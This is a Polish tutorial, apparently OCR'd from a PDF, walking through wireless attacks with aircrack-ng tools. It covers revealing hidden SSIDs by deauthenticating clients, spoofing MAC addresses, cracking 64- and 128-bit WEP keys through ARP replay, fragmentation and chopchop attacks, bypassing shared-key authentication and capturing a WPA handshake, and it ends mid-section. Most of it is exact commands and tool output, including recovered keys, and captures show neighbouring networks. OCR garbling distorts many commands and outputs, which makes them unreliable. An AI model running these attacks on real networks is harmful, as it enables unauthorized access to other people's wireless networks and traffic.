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1. Pierwsze kroki

1.1.Uruchomienie trybu monitor na karcie bezprzewodowej

Bardzo wazng rzeczg przed przystapieniem do pracy jest ustawienie karty w tryb monitor,
kanatlu na ktorym bedzie pracowac oraz predkosci. Naszg siecig testowg bedzie sie¢ o nazwie
Projekt. Sie¢ ta dziata na kanale 13 w trybie 802.11b oraz 802.11g (tryb mieszany).
Pierwszym krokiem bedzie wlaczenie samej karty, nastgpnie trybu monitor, ustawienie

kanatu 1 na koncu predkosci.
ifconfig rausbO up

iwconfig rausb0 mode monitor

airmon-ng start rausbO 13 (13to numer kanatu na ktéorym pracuje Access

Point)

Teraz utatwimy sobie prace tworzac odpowiednie deklaracje w systemie dotyczace adresu
mac naszej karty sieciowej oraz adresu mac naszego Access Pointa, dzigki temu nie bedziemy
musieli wpisywac za kazdym razem dtugich kombinacji cyfr i liter. Aby tego dokona¢ nalezy

edytowac plik /etc/profile i doda¢ dwa wpisy:

declare macap=00:0C:41:38:61:6E — mac naszego Access Pointa bgdzie teraz

wywolywany jako parametr $macap

declare mac=00:1C:10:65:7E:EE - mac naszej karty sieciowej bedzie teraz

wywotywany jako parametr $mac
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declare -x LS OPTIONS=" -F -b -T 0 --color=auto "
declare -x MAIL="/var/spool/mail/root"
declare -x MANPATH="/usr/local/man:/usr/man:/usr/X11R6/man: /usr/1ib/java/man"
declare -x MINICOM="-c on"
declare -x OLDPWD
declare -x PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin: /usr/local
/apache/bin: /usr/local/pgsql/bin: /fopt/mono/bin: fusr/local/pgsql/bin: /opt/nessus/bin: . :/usr/lib/java/bin
:/usr/lib/java/jre/bin: fusr/1ib/qt/bin"
declare -x PKG_CONFIG_PATH="/usr/local/lib/pkgconfig:/usr/1ib/pkgconfiq: /usr/local/1lib/pkgconfig"
declare -x PS1="\\[\\033[01;3Im\\]\\h \N[A\O33[01;34m\\I\AW \\AS AN[\\O33[00m\\] "
declare -x PS2="> "
declare -x PWD="/root"
declare -x QTDIR="/usr/lib/qt"
declare -x SESSION_MANAGER="local/bt:/tmp/.ICE-unix/3140"
declare -x SHELL="/bin/bash"
declare -x SHLVL="5"
declare -x TI1LIB_CONFIG="/usr/share/t1llib/t1lib.config"
declare -x TERM="xterm"
declare -x USER="root"
declare -x VISUAL="mcedit"
declare -x WINDOWID="27262983"
declare -x WINDOWPATH="7"
declare -x XAUTHORITY="/root/.Xauthority"
declare -x XCURSOR_THEME="default"
declare -x XDG_CONFIG_DIRS="/etc/xdg:/etc/kde/xdq:/etc/kde/xdg"
declare -x mac="00:1c:10:65:7e:ee"
declare -x macap="00:0C:41:38:61:6E" -

Rysunek 1 Efekt dziatanie komendy export

Teraz mozemy sprawdzi¢ czy to co zrobiliSmy do tej pory dziata, aby to sprawdzi¢ nalezy

wpisac

airodump-ng rausbO (rausb0 to nazwa naszego interfejsu, mogtoby to by¢ rowniez np.
wlan0 lub ath0 itp)



Shell - Konsole
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CH 13 ][ Elapsed: 8 mins ][ 2008-04-11 13:16
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

102:6F:43:FA: 103 83 236 2 . WEP WEP PARTNER-Konstytucja-1
:0C:41:38:61: 102 262 13 . OPN <length: 0>

:18:39:68:73: 99 54 51 4 OPN partner_konstytucja
t1A:6B:CAET7: 97 16 10 WEP  WEP neostrada_3758

:30:4F:36:A4: 97 20 11 . OPN INTERNET. SERWIS- TEL: 77436135

STATION Rate Lost Packets Probes
00:11:95:20:FC:4C - 130

00:19:E0:82:40:32 - 97
00:40:05:3F: 1A:BE - 34

Rysunek 2 Dziatanie polecenia airodump-ng

Widzimy, ze wszystko pieknie dziata ©. Teraz musimy znalez¢ odpowiednig predko$é z jaka
nasza karta sieciowa bedzie pracowaé. Zalezy do przede wszystkim od mocy samej karty jak i
odleglosci pomigdzy Access Pointem a klientem. Aby sprawdzi¢ jaka predkos¢ bedzie

odpowiednia musimy wpisa¢ w w Shellu:

aireplay -9 -a $macap -B rausbO

-9 test wstrzykiwania i jakoS$ci

-a bssid czyli mac naszego Access Pointa

$macap adres mac naszego Access Pointa, ktory jest teraz zmienng

-B aktywuje test dla r6znych predkosci potaczenia
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aireplay-ng -9 -a $macap -B raush@
: Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13
Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...

00:0C:41:38:61:6E - channel: 13 - 'Projekt’

Ping (min/avg/max): 8.187ms/77.881ms/148.183ms Power: 95.00
12/30: 40%

Trying directed probe requests for all bitrates...

00:0C:41:38:61:6E - channel: 13 - 'Projekt’
Probing at 1.0 Mbps: 1/30: 3%
Probing at 2.0 Mbps: 8/30: 26%
Probing at 5.5 Mbps: 15/30: 50%
Probing at 6.0 Mbps: 14/30: 46%
Probing at 9.0 Mbps: 3/30: 10%
Probing at 11.0 Mbps: 3/30: 10%
Probing at 12.0 Mbps: 19/30: 63%
Probing at 18.0 Mbps: 11/30: 36%
Probing at 24.0 Mbps: 16/30: 53%
Probing at 36.0 Mbps: 2/30: 6%
Probing at 48.0 Mbps: 9/30: 30%
Probing at 54.0 Mbps: 20/30: 66%

Rysunek 3 Efekt dziatania aireplay -9 -a Smacap -B rausb0

Generalnie jest tak, ze im blizej AP jesteSmy tym mozemy wigkszych predkosci potaczenia
uzywac. Dlatego ustawimy sobie predkos¢ naszej karty na 54 Mb poleceniem:

iwconfig rausb0O rate 54M

1.2.Pierwsze Koty za ploty czyli testowanie zabezpieczenia - ukryte SSID

Na poczatku oméwiliSmy sobie co to jest 1 jak dziata wigc niema sensu do tego wracac.
Zatem przejdzmy do praktyki. Najpierw wpiszmy polecenie:

airodump-ng rausbO



mc - / - Shell - Konsole

CH 13 1[ Elapsed: 24 s ][ 2008-04-11 14:17
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:6F:43 105 2 il 0 2 5. WEP WEP PARTNER-Konstytucja-1
00:0C:41:38 98 25 0 0 13 54. OPN <length: 0>

BSSID STATION PWR Rate Lost Packets Probes

00:02:6F:43 00:11:95:20:FC:4C -1 5-
00:02:6F:43 00:19:E0:82:40:32 -1 5-

0 9
0 2

0
0

Rysunek 4 Wykrywanie sieci w okolicy

Spowoduje to uruchomienie programu, ktéry wyswietli nam aktualna liste sieci (zawiera
BSSID, ESSID, Kanat, Ilo$¢ przesytanych pakietow (DATA), predkos¢, rodzaj
zabezpieczenia) bezprzewodowych oraz klientow do nich dotaczonych. Nasza sie¢
Projekt jest ukryta, znam jej adres mac czyli 00:0c:41:38:61:6e Essid widziany na
screenie to <length: 0>. Pytanie: jak przylaczy¢ si¢ do takiej sieci, ot6z wiemy, ze sie€ ta
chroniona jest tylko poprzez ukrywanie SSID czyli nazwy sieci, gdy zdobedziemy ta
nazwe bedziemy mogli si¢ polaczy¢ z Access Pointem i korzystac z jej zasobow ©.
Mozemy tego dokona¢ na kilka sposobow:

1. Czekamy, az jaki$ klient si¢ dotaczy, ktory zna SSID

2. ,,Wykopujemy” klientéw juz przytaczonych, zeby raz jeszcze dotaczyli si¢ do
Access Pointa

Pierwszego punkty nie bede opisywatl wystarczy poczeka¢ © i juz bedziemy wiedzieé
jaka nazwe¢ ma nasza siec.

Drugi punkt polega na tym aby klient juz podtaczony zazadat ponownie potagczenia z
Access Pointem. Dzigki temu przechwycimy nazwe SSID ©

Najpierw konczymy dziatanie airodump-ng (Ctrl+c), nastepnie w nowym shellu
ustawiamy ponownie kanat na ktorym pracuje nasz Access Point (airmon-ng rausb0 13)
kopiujemy mac klienta podtagczonego do Access Pointa, pytanie skad go wzia¢, otoz
wszystko pokazal nam airodump-ng chodzi nam doktadnie o kolumny BSSID oraz
STATION. BSSID bedzie pokazywal nam adres mac Access Pointa a Station pokaze nam
adres mac klienta podfaczonego do danego Access Pointa. Teraz wystarczy tylko wpisa¢
odpowiednig komendg z odpowiednim adresem mac w shellu nr 1:

Adres naszego klienta to 00:90:4b:5b:69:df

aireplay-ng -0 10 —a $macap -c 00:90:4b:5b:69:df rausbO



-0 znaczy deauthencation czyli “odtaczenie” klienta od AP
10 iloé¢ wystanych zadan odtaczenia
-a adres mac Access Pointa

-c adres mac klienta Access Pointa

iwconfig rausb@ channel 13
aireplay-ng -0 10 -a $macap -c 00:90:4B:5B:69:DF raush®
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Rysunek 5 Dziatanie aireplay-ng -0 10 —a Smacap —c 00:90:4b:5b:69:df rausb0
oraz w shellu 2

airodump-ng rausbO

mc - / - Shell - Konsole
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CH 12 1[ Elapsed: 16 s ][ 2008-04-11 14:48

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:6F:43:FA: 4B
00:0C:41:38:61:6E

104 4 6 © 2 5. WEP WEP
102 19 0 0 13 54. OPN

PARTNER-Konstytucja-1
Projekt

BSSID STATION PWR Rate Lost Packets Probes

00:02:6F:43:FA: 4B
(not associated)

00:11:95:20:FC:4C -1
00:90:4B:5B:69:DF 79

5- 0 0 5
0- 1 0 4 Projekt

Rysunek 6 Dziatanie airodump-ng rausb0

1.3. Kontrola adresow MAC



Weczesniej opisali$my sobie te zabezpieczenie. Teraz potrafigec znalez¢ nazwe ukrytg SSID bez
problemu potrafimy tez pozna¢ adresy MAC klientow podiaczonych do tej sieci. Aby tego

dokona¢ wystarczy wpisa¢ w Stell znane nam polecenie:
airodump-ng rausbO

Spowoduje to wyswietlenie wszystkich klientow, ktorzy tgcza si¢ z danym Acess Pointem. | tak
oto mamy naszego klienta o numerze mac 00:90:4B:5B:69:DF, kory jest podtaczony do naszego

Access Pointa.

: Wl Shell ull Shell No. 2 o Shell No. 3 wll Shell No. 4

CH 13 1[ Elapsed: 52 s ][ 2008-05-24 12:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:02:6F:43:FA:48 101 9 25 0 2 5. WEP WEP PARTNER-Konstytucja-1
00:0C:41:38:61:6E 91 8 9 0 13 54. WEP WEP Projekt

BSSID STATION Rate Lost Packets Probes
00:02:6F:43 00:30:4F:29:EF:F3

00:02:6F:43 00:11:95:20:FC:4C
00:0C:41:38 00:90:4B:5B:69:DF

Rysunek 7 Wykrywanie adreséw MAC

Teraz znajac ten adres wystarczy wytaczy¢ naszag karte 1 zmieni¢ jej adres mac. Mozliwe to jest

za pomocg polecenia

iwconfig rausbO down
macchanger -m 00:90:4B:5B:69:DF rausb0
ifconfig rausbO up

Teraz mozemy si¢ cieszy¢ tym, ze Access Point zaakceptuje nasz adres MAC i bedzie mogli

korzysta¢ z jego zasobow.



1.4, WEP - 64 i 128 bit z podlaczonym klientem

Staboscig protokotu WEP jest niewatpliwie wektor inicjalizacyjny (IV) 1 jego staba
implementacja. Problem "zuzywania" IV-séw opisat bardzo doktadnie Walker (2000) w
dokumencie "Unsafe at any key size; An analisis of the WEP encapsulation". Mozemy w nim
przeczytac, ze przy stosowaniu 40 bitowego klucza WEP prawdopodobienstwo kolizji, czyli
powtorzenia IV wynosi 50% przy zgromadzeniu okoto 4826 ramek a 99% przy zgromadzeniu

12430 ramek. Tak, wigc na kolizje IV nie trzeba dtugo czekac.

Naszym zadaniem bedzie nazbieranie odpowiedniej ilosci pakietow zawierajacych

zmieniajace si¢ wektory inicjalizacji (IV'sy) wykorzystywane w WEP w celu ztamania klucza.

Na poczatku ustawimy sobie tryb monitor oraz kanat na ktérym pracuje nasz Access Point,

nastgpnie sprawdzimy jaka bedzie najlepsza predkos¢ zeby z nim ,,wspotpracowac”.
ifconfig rausbO up
iwconfig rausb0 mode monitor

airmon-ng start rausbO 13

aireplay-ng -9 -a $macap —-e ,Projekt” —-B rausb0
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aireplay-ng -9 -a $macap -B rausb@
4:10 iting for b n frame (BSSID: 00:0C:41:38:61:6E) on channel 13
4:10
4:10
4:12

4:12

012 : :
1:14 Ping (min/avg/max): /49, 964ns/139. GEEMs Power: 94,13
4:14 ]

@0:0C:41: : [: 13 - 'Projekt’
Probing z .0 : f30:

FProbing at 2.0

Probing z 5

Probing at 6.8

Probing at 9.8

Probing :

Probing z
Probing z
Probing :
Probing z
Probing z
Probing z

WD s LA Ll P
+~—+ + ++ ++ —+ ~+ —+ —+ —+

L) L L B Bd Bd d P

Inoba @

Rysunek 8 Dziatanie polecenia aireplay-ng -9 —a Smacap —e ,,Projekt” —B rausb0

Teraz musimy uruchomi¢ airodump-ng z tym, ze bedzie miat wigcej parametrow takich jak:

zapisanie pakietow do pliku, wybor kanatu na ktorym bedzie nastuchiwat.

airodump-ng -c 13 --bssid $macap -w pakiety rausbO

mc - / - Shell - Konsole

| W Shell | W@ ShellNo.2 | wff ShellNo. 3

CH 13 ][ Elapsed: 1 min ][ 2008-04-11 16:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:38:61:6E 93 100 632 7140 93 13 54. WEP WEP OPN <length: 0>

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 79 54-54 5 9162

Rysunek 9 Dziatanie polecenia airodump-ng --ivs --write wep64 --channel 13 rausb0

Nastepnie musimy dotgczy¢ si¢ do Access Pointa ,,Projekt”

10



Nastepnie musimy polgczy¢ sie z Access Pointem, robimy to za pomocg polecenia
aireplay-ng -1 0 -e “Projekt” -a $macap -h $mac rausbO

W kolejnym kroku uruchamiamy aireplay-ng w odpowiednim trybie, ktory bedzie nastuchiwat
zadania ARP a nastepnie bedzie wstrzykiwatl je do sieci. Powodem wybrania pakietéw ARP jest
to iz Access Point b¢dzie ponownie transmitowat je oraz generowat nowe IV. Naszym zadaniem

jest nazbiera¢ pakietow IV jak najwiece;.

aireplay-ng -3 -b $macap -h $mac rausbO

Shell No. 2 - Konsole

Wl Shell | W& Shell No. 2 o Shell No. 3 & Shell No. 4 o Shell No. 5

b aireplay-ng -1 0 -e 'Projekt" -a Sacap -h $mac rausb@
17:29:46 Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13

17:29:46 Sending Authentication Request (Open System)

17:29:46 Authentication successful

17:29:46 Sending Association Request

17:29:46 Association successful :-)

bt aireplay-ng -3 -b $macap -h $mac raush0

17:30:20 Waiting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 13
Saving ARP requests in replay_arp-0524-173020.cap

You should also start airodump-ng to capture replies.

Read 1043 packets (got 11 ARP requests and 0 ACKs), sent 1648 packets...(499 pps

Rysunek 10 Dziatanie polecen aireplay-ng

Po “wytapaniu” ok. 200 000 ~ 300 000 pakietéw mozemy przystapi¢ do tamania klucza WEP 64
bitowego, chcac zlamac klucz 128 bitowy nalezy tylko nazbiera¢ ok. 400 000 ~ 500 000

pakietow.
mc - ~ - Shell - Konsole

Wl Shell | o ShellNo. 2 ; wfl Shell No. 3 ol Shell No. 4

CH 13 1[ Elapsed: 54 mins ][ 2008-05-24 11:37

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:38:61:6E 93 62 21167 341621 49 13 54. WEP WEP OPN <length: 0>

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 87 54- 1 21 529941

Rysunek 11 Zbieranie pakietéw

aircrack-ng —-n 64 pakiety-01l.cap

11



Natomiast chcac ztama¢ klucz WEP 128 bitowy wpiszemy polecenie

aircrack-ng —-n 128 pakiety-01l.cap

aircrack-ng -n 64 pakiety-01.cap
Opening pakiety-01.cap
Read 530555 packets.
# BSSID Encryption
1 00:0C:41:38:61:6E WEP (341626 IVs)

Choosing first network as target.

Opening pakiety-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 341626 ivs.
KEY FOUND! [ D3:37:80:B6:8E ]
Decrypted correctly: 100%

Rysunek 12 tamanie klucza

1.5. WEP 64 i 128 bez podlgczonych klientow

W poprzedniej metodzie przechwytywaliSmy zadania ARP z sieci, ktore generowali klienci do
niej podiaczeni. Co natomiast zrobi¢ gdy nie ma klientéw podigczonych poprzez droge radiowa

natomiast sg klienci podtaczeni za pomoca kabla?

Jak zawsze na samym poczatku musimy ustawic tryb monitor, kanat na ktorym bedzie pracowaé

karta wifi oraz jej predko$¢, wiemy jak to zrobi¢ z wezesniejszych naszych prob.
Teraz standardowo musimy wykona¢ fatszywe uwierzytelenienie z Access Pointem
aireplay-ng -1 0 -e default -a $macap -h $mac rausbO

Gdy to juz zrobimy postuzymy si¢ atakiem chopchop lub fragmentacji zeby otrzymac plik z
PRGA (pseudo random generation algorithm). PRGA nie jest kluczem WEP 1 nie moze by¢ uzyty
to dekryptacji pakietow. Jednakze moze by¢ wykorzystany do stworzenia nowych wstrzykiwan

pakietow.
Aby wykona¢ atak fragmentacji do uzyskania pliku z PRGA nalezy wykona¢ polecenie:

aireplay-ng -5 -b $macap -h $mac rausbO

12



mc - fair/aircrack-ng-1.0-beta2/test - Shell No. 2 - Konsole
WZ Shell | Wl ShellNo.2 | wff ShellNo. 3

b1 aireplay-ng -5 -b $macap -h $mac rausho

14:16:05 Waiting for beacon frame (BSSID: 00:0E:2E:C4:1F:31) on channel 11
14:16:06 Waiting for a data packet...

Read 73 packets...

Size: 88, FromDS: 0, ToDS: 1 (WEP)
BSSID

Dest. MAC
Source MAC

00:0E:2E:C4:1F:31
00:0E:2E:C4:1F:31
00:90:4B:5B:69:DF

0x0000: 0841 2c00 000e 2ec4 1f31 0090 4b5h 69df
0x0010: 000e 2ecd4 1f31 002b 6a22 6400 37d6 3f39
0x0020: 2570 6c9a 8422 129a 0399 65db b1lc9 5054
0x0030: 1423 8444 f7fc 956d Secf c609 9a52 2710
0x0040: belb 51el 1c59 5f77 4a6b ad37 fc45 6486
0x0050: 34fe edac 813a 150e

Use this packet ? y

Sav1ng chosen packet in replay_src-0530-141632.cap
6:39 Data packet found!
Sending fragmented packet
Got RELAYED packet!
Trying to get 384 bytes of a keystream
No answer, repeating...
Trying to get 384 bytes of a keystream
Trying a LLC NULL packet
No answer, repeating...
Trying to get 384 bytes of a keystream
Got RELAYED packet!
Trying to get 1500 bytes of a keystream
No answer, repeating...
Trying to get 1500 bytes of a keystream
Trying a LLC NULL packet
Got RELAYED packet!
Saving keystream in fragment-0530-141645.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Rysunek 13 Atak fragmentacji

lub atak chopchop

aireplay-ng -4 -b $macap -h $mac rausbO
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mc - ~ - Shell No. 2 - Konsole
& Shell | W Shell No. 2 Wl Shell No. 3
bt ~ éireblﬁy-ng -4 -b $macap -h $mac rausb®
15:26:22 Waiting for beacon frame (BSSID: 00:0E:2E:C4:1F:31) on channel 11
Read 49 packets...

Size: 68, FromDS: @, ToDS: 1 (WEP)
BSSID

Dest. MAC
Source MAC

00:0E:2E:C4:1F:31
FF:FF:FF:FF:FF:FF
00:90:4B:5B:69:DF

0x0000: 0841 2c00 000e 2ec4 1f31 0090 4b5b 69df

0x0010: ffff ffff ffff 1003 9e57 7600 57bb 2122 ..

0x0020: 750a ffad 3810 758d 37c4 8c34 76d3 2c34 u..M8.u.7..4v.,4
0x0030: efb3 ab9l 37ad e79d d041 8720 e78d 5d2b ....7....A. ..]+
0x0040: dal6 106a <o

Use this packet ? y
Saving chosen packet in replay_src-0530-152632.

frames written in
frames written in
frames written in
frames written in
frames written in
frames written in
frames written in
frames written in
frames written in

0% done) |

I

|

|

|

I

I

I

|

| frames written in
| ;
I

I

|

|

|

I

I

I

(
( 2% done)
( 5% done)

xor
xor
xor
xor
Xor
Xor
xor

I

I

I

( 8% done)

(11% done) |

(14% done) |

(17% done) |

(20% done) | xor

(23% done) | xor

(26% done) | xor
| frames written in
| frames written in
| frames written in
| frames written in
| frames written in
| frames written in
| frames written in
| frames written in
| frames written in

(29% done) | xor
(32% done) | xor
(35% done) | xor
(38% done) | xor
(41% done) | xor
(44% done) | xor
(47% done) | xor
(50% done) | xor
(52% done) | xor

L LU | 1 | 1 1 1 {1 O L (B [}

L LUt | L ¥ 1 1 | 1 { B [}

Rysunek 14 Atak chopchop cz1
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- Shell No. 2 - Konsole
W& Shell | = Shell No. 2 ol Shell No. 3

( 8% done)
(11% done)
(14% done)
(17% done)
(20% done)
(23% done)
(26% done)
(29% done)
(32% done)
(35% done)
(38% done)
(41% done)
(44% done)
(47% done) | xor
(50% done) | xor

| frames written
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(52% done) | xor
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written
frames written

Xor
Xor
Xor
Xor
Xor
xor
Xor
Xor
Xor
Xor
Xor
Xor
Xor

(55% done) | xor
(58% done) | xor
(61% done) | xor
(64% done) | xor
(67% done) | xor
(70% done) | xor
(73% done) | xor
(76% done) | xor
(79% done) | xor
(82% done) | xor
(85% done) | xor
(88% done) | xor
(91% done) | xor
(94% done) | xor
(97% done) | xor

L L 1 ¥ ¥ 1 U 1 ¥ 1 ¥ 1 1 O [ B 1}
L ¥ 1 1 1 ¥ 1 1 1 1 1 {1 { A 1}

l
l
[
l
[
l
[
l
l
l
l
l
l
l
[
l
l
l
l
l
[
l
[
l
I
l
l
l
[
l
l

Saving plaintext in replay_dec-0530-152701.cap
Saving keystream in replay_dec-0530-152701.xor

Completed in 27s (1.11 bytes/s)

Rysunek 15 Atak chopchop cz 2

W poprzednim kroku otrzymalismy PRGA. Niewazne jest, ktory atak wygenerowal PRGA, oba
daja taki sam rezultat. PRGA jest przechowywane w pliku z koncowka "xor". Mozemy uzy¢
PRGA do generowanie pakietu zadan ARP. Celem tej czynnosci jest aby Access Point
ponownie rozglaszat wstrzyknigty pakiet ARP. Kiedy ponownie bedzie go rozglaszat, bedziemy

otrzymywac nowe IVs. Wszystkie te nowe Ivs bedziemy uzywali do ztamania klucza WEP.
Aby wygenerowac pakiet ARP stuzacy do wstrzykiwan nalezy wpisa¢ polecenie:

packetforge-ng -0 -a $macap -h $mac -k 255.255.255.255 -1
255.255.255.255 -y fragment-0530-141645.xor -w arp-request

15



Nastepnie uruchamiamy airodump-ng zeby przechwytywac pakiety:

airodump-ng -c 11 --bssid $macap -w przechwyt rausbO

ol Shell ull Shell No. 2 W Shell No. 3

CH 11 ][ Elapsed: 11 mins ][ 2008-05-30 14:31
BSSID PWR RXQ Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
00:0E:2E:C4:1F:31 107 82 2511 70553 91 11 54 WEP WEP OPN default

BSSID STATION PWR Rate Lost Packets Probes

Rysunek 16 Efekt dziatania polecenia airodump-ng -c 11 --bssid $Smacap -w przechwyt rausb0
Teraz bedziemy wstrzykiwac¢ pakiety poleceniem

aireplay-ng -2 -r arp-request -h $mac rausbO

mc - /airfaircrack-ng-1.0-beta2/test - Shell No. 2 - Konsole
off Shell o Shell No. 2 o Shell No. 3

airepiay-ng -2 -r arp-request -h $mac rausb@

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID 00:0E:2E:C4:1F:31
Dest. MAC : ]
Source MAC

0x0000: 0841 0201 000e 2ec4 1f31 001c 1065 7eee

0x0010: ffff ffff ffff 8001 e3db 2f00 c653 4e88

0x0020: 04d6 7ea2 6ell 3a9l 47a9 19ac hd70 bbee

0x0030: d504 2921 789d 818e 22a5 0e57 c22a a959 ..)!Ix..."..W.*)Y
0x0040: 0d9f ac92 e

Use this packet ? y

Saving chosen packet in replay_src-0530-141844.cap
You should also start airodump-ng to capture replies.

End of file.
Rysunek 17 Efekt dziala polecenia aireplay-ng -2 -r arp-request -h $mac rausb0
Na koncu zostato tylko zebranie pakietow (ok. 20min zbierania) i ztamanie klucza

aircrack-ng —-n 128 przechwyt

16



mc - /airfaircrack-ng-1.0-beta2/test - Shell - Konsole

W Shell | wfShellNo.2 | wffShellNo.3

Aircrack-

[00:00:01] Tested 825 keys (got 462892 IVs)

depth  byte(vote)

0/ 1 42(635904) EC(492800) 71(491008) 9A(488704) 40(487424) BC(487168) 85(486912) 92(484352)
0/ B3(647936) 1D(493824) 70(489472) 3C(487936) 7B(487680) F4(487680) 73(485632) 59(484096)
0/ 34(621568) 2A(499200) 2C(485632) 28(484096) 60(483328) 54(482816) DC(482304) 1B(481792)
20/ 3 88(476416) 12(475904) B7(475904) BD(475648) 61(474880) 75(474880) AA(474880) CE(474880)
3/ B8(491776) E0(488960) AE(487168) 76(484864) CB(484608) 47(483072) 08(482816) B7(482560)

KEY FOUND! [ 42:B3:34:20:04:0C:9F:0A:CF:D9:DF:8C:7D ]

Decrypted correctly: 100%

Rysunek 18 tamanie klucza WEP 128 bit

ng 1.0 beta2

1.6. Typ uwierzytelniania  Shared Key - uwierzytelnianie z kluczem

Polega na tym, ze tylko uzytkownicy ktorzy maja taki sam klucz WEP jak Access Point

moga przytaczyc¢ si¢ do niego.

ﬂ
e
j—
Client
attempting
to connect

802.11 Authentication
Shared Key Steps

1) Authe ntication
request sentto AP

Y

————— 2} AF sends challenge text

3)Clhent encrypts
challenge textand —_—>

sends it back to AP

4) AP decrypts. and if correct,

B 3 .
authe nticates clent

51Chent connects to network ———»

Rysunek 19 Dziatanie uwierzytelnienia z kluczem zrédto
http://documentation.netgear.com/reference/fra/wireless/WirelessNetworkingBasics-3-09.html

‘Access Point (AP)

INTERRET

Bardzo prosto jest obej$¢ to zabezpieczenie. Standardowo musimy uruchomi¢ nasza kartg

w trybie monitor i ustawi¢ kanat na ktorym bedzie pracowac. Nastepnie wpisujemy polecenie

airodump-ng -c 12 -w pakiety --bssid $macap rausbO

17



- Shell No. 2 - Konsole

wll Shell &l Shell No. 2 uffl ShellNo. 3

CH 12 1[ Elapsed: 4 s ][ 2008-06-04 11:21

BSSID PWR RX0Q Beacons #Data, #/s C(CH MB ENC CIFHER AUTH ESSID
00:0C:41: 16 9 8 7 ] B 12 54. WEP WEP Projekt

BSSID STATION PWR Rate Lost Packets Probes

Rysunek 20Efekt dziatania polecenia airodump-ng —c 12 —w pakiety --bssid Smacap rausb0

Teraz czekamy az jakis klient podtaczy si¢ do Access Pointa, gdy to juz nastgpi airodump-ng poinformuje
nas o tym w prawym gornym rogu. Mozna tez roztaczy¢ klienta juz podtaczonego, dzigki temu rowniez

przechwycimy odpowiedni pakiet.

aireplay-ng -0 10 —-a $macap -c 00:90:4b:5b:69:df rausbO

mc - ~ - Shell No. 2 - Konsole

W Shell | & ShellNo.2 | ff ShellNo.3

CH 12 ][ Elapsed: 24 s ][ 2008-06-04 11:21

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0C:41:38:61:6E 91 23 45 19 1 12 54. WEP WEP SKA Projekt

BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 81 54-54 15 13

Rysunek 21 Efekt podigczenie klienta do Access Pointa z uwierzytelnieniem z klucza

Po podigczeniu klienta w katalogu, w ktérym uruchomiono airodump-ng lub w katalogu do
ktorego zapisywane s3 przechwytywane pakiety powinien pojawic si¢ plik z rozszerzeniem * .xor.

W naszym przypadku ten plik nazywa si¢ pakiety-01-00-0C-41-38-61-6E.xor

Teraz posiadajac ten plik ( w pliku tym znajduje si¢ PRGA - pseudo random generation

algorithm). Mozemy uwierzytelni¢ si¢ z Access Pointem za pomoca polecenia:

aireplay-ng -1 0 —-e ,Projekt” -y pakiety-01-00-0C-41-38-61-6E.xor

—a $macap -h $mac rausbO

18



Shell - Konsole

ol Shell gl Shell Mo, 2 el Shell Mo, 3

aireplay-ng -1 0@ -e "Projekt" -y pakiety-01-00-0C-41-38-61-6E.xor -
a $macap -h $mac raush®
2:13:13 Waiting for beacon frame (BSSID: 90:0C:41:38:61:6E) on channel 12

2:13:13 Sending Authentic equest (Shared Key)
7:13:13  Authentication

2:13:13 ’

7:13: 14

7:13: 14

70 13: 14

Rysunek 22 Potaczenie z Access Pointem

1.7. Lamanie zabezpieczen typu WPA/WPA2 TKIP

Jednym z najlepszych zabezpieczen a jednoczes$nie bardzo stabym jest WPA/WPA2. Mozna
sprawi¢, ze bardzo trudno bedzie ztamac¢ hasto, ktére chroni sie¢ bezprzewodowa natomiast gdy
hasto bedzie stabe tzn. bedzie sktadato si¢ z niewielu znakow, znaki beda tylko z matej litery i nie

bedzie cyfr 1 znakow specjalnych do sieci takiej mozna si¢ wtama¢ w kilka minut.

Pierwsza czynnoscia jaka wykonamy to ustawienie karty bezprzewodowej czyli tryb monitor 1

kanatu nastuchu (w naszym przypadku bedzie to kanat 9).

iwconfig rausb0 mode monitor

airmon-ng start rausb0O 9

Nastgpnie uruchomimy airodumpa zeby przechwytywat pakiety z sieci.

airodump-ng -c 12 -bssid $macap -w psk rausbO
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mc - /air/robocze - Shell - Konsole

wf Shell |l Shell No. 2 of Shell No. 3

CH 12 ][ Elapsed: 1 min ][ 2008-06-02 17:22

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:41:38:61:6E 92 61 433 6628 98 12 54. WPA TKIP PSK Projekt
BSSID STATION PWR Rate Lost Packets Prohes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 76 54-54 146 6603

Rysunek 23 Dziatanie polecenia airodump-ng —c 12 —bssid $Smacap —w psk rausb0

Teraz musimy “odtaczy¢” podtaczonego klienta zeby Access Point ponownie zazadat

uwierzytelnienia od klienta (podczas tej czynnosci airodump przechwyci ,,WPA handshake”).

aireplay-ng -0 2 —a $macap -c 00:90:4B:5B:69:DF rausbO

me - fair/frobocze - Shell - Konsole

el Shell @l Shell Mo, 2 afl Shell No. 3 o
